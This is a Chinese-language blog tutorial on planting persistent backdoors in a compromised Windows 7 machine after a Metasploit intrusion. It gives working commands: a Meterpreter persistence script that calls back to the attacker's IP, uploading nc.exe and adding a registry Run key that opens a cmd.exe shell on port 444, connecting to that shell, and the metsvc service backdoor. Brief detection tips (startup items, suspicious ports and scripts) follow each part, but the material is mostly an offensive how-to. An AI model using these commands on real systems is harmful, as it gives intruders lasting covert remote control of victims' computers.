黑客攻击之后门植入

2020-09-14  本文已影响0人  无情剑客Burning

声明:谢绝一切形式的转载,禁止用作非法目的

当通过木马或者漏洞成功入侵别人电脑后,由于MSF发起的攻击都是基于内存的,因此,当被入侵的电脑("肉鸡")关机之后或者漏洞修复之后,前期建立的连接就都不复存在了。所以,有必要在被入侵的电脑上安装后门,让"肉鸡"每次重启之后,都能和自己的机器自动建立连接。

准备条件

"肉鸡": Windows7 32位 防火墙开启

通过木马建立连接

具体内容可参考这里

image

Persistence 后门

建立后门

通过下面的帮助信息,可以看出persitence模块是用来在目标机器上创建后门的脚本。比较常用的参数-A 、-X、-I、-p、-r,具体含义可查看帮助。

meterpreter > run persistence -h

建立一个后门,每隔5s尝试建立连接,自动匹配模块exploit/multi/handler连接黑客的机器。

run persistence -A -X -i 5 -p 9988 -r 192.168.42.49
运行命令之后,可以看出生成了一个vbs脚本。Persistence 后门基于的就是这个脚本。 image

杀死9988端口对应的会话。

<pre style="box-sizing: border-box;margin: 0px;padding: 8px 0px 6px;font-family: consolas, menlo, courier, monospace, "Microsoft Yahei" !important;background: rgb(241, 239, 238) none repeat scroll 0% 0%;border-color: rgb(226, 226, 226) !important;border-style: solid !important;border-width: 1px !important;display: block;border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;font-size: 10px;line-height: 12px;">

  1. sessions -k 5

</pre>

过一会,发现9988端口的会话又建立起来了。 image 将"肉鸡"重启,查看9988端口的会话是否会被重新建立。 image

从图中可以看出,重启之后,会话又被成功建立起来了。

检测后门

  1. 查看相应的目录是否有可疑的vbs。

  2. 查看可疑端口

  3. 查看可疑的开机启动项

nc后门

建立nc后门

nc.exe具有"瑞士军刀"的美名,其在反向连接方面的功能可以用强大甚至恐怖来形容。

上传nc后门到"肉鸡"

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

枚举注册表内容(开机启动),注册表相关的内容在前面有介绍。

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

在该注册表增加内容(开机启动)

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe"

查看内容

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
具体过程如下: image

重启"肉鸡",通过nc连接

<pre style="box-sizing: border-box;margin: 0px;padding: 8px 0px 6px;font-family: consolas, menlo, courier, monospace, "Microsoft Yahei" !important;background: rgb(241, 239, 238) none repeat scroll 0% 0%;border-color: rgb(226, 226, 226) !important;border-style: solid !important;border-width: 1px !important;display: block;border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;font-size: 10px;line-height: 12px;">

  1. nc 192.168.42.40 444

</pre>

成功连接后,能够获得肉鸡的cmd终端: image

检测nc后门

  1. 通过主注册表的开机启动项目进行检测。

  2. 通过nc程序名字进行检测,这个很容易绕过,改成具有迷惑行为的名字就可以

  3. 可疑端口检测

metsvc后门

使用如下命令

<pre style="box-sizing: border-box;margin: 0px;padding: 8px 0px 6px;font-family: consolas, menlo, courier, monospace, "Microsoft Yahei" !important;background: rgb(241, 239, 238) none repeat scroll 0% 0%;border-color: rgb(226, 226, 226) !important;border-style: solid !important;border-width: 1px !important;display: block;border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;font-size: 10px;line-height: 12px;">

  1. run metsvc

</pre>

然后重启之"肉鸡"后,通过bind_tcp进行主动连接。由于版本问题,在win7 32位上,相应的服务起不来,不做过多介绍。

metsvc后门由于使用固定的端口31337,很容易检测出来。

写在最后

后门植入,是进行持续性攻击的有效手段。其基本原理大都是基于开启启动项,并且大多数都是通过注册表实现的,因此,开机启动项要认真辨别,否则,你的机器可能就是一台"肉鸡"。

公众号

相应的视频,后续会更新。更多内容,欢迎关注我的微信公众号:无情剑客。

上一篇 下一篇

猜你喜欢

热点阅读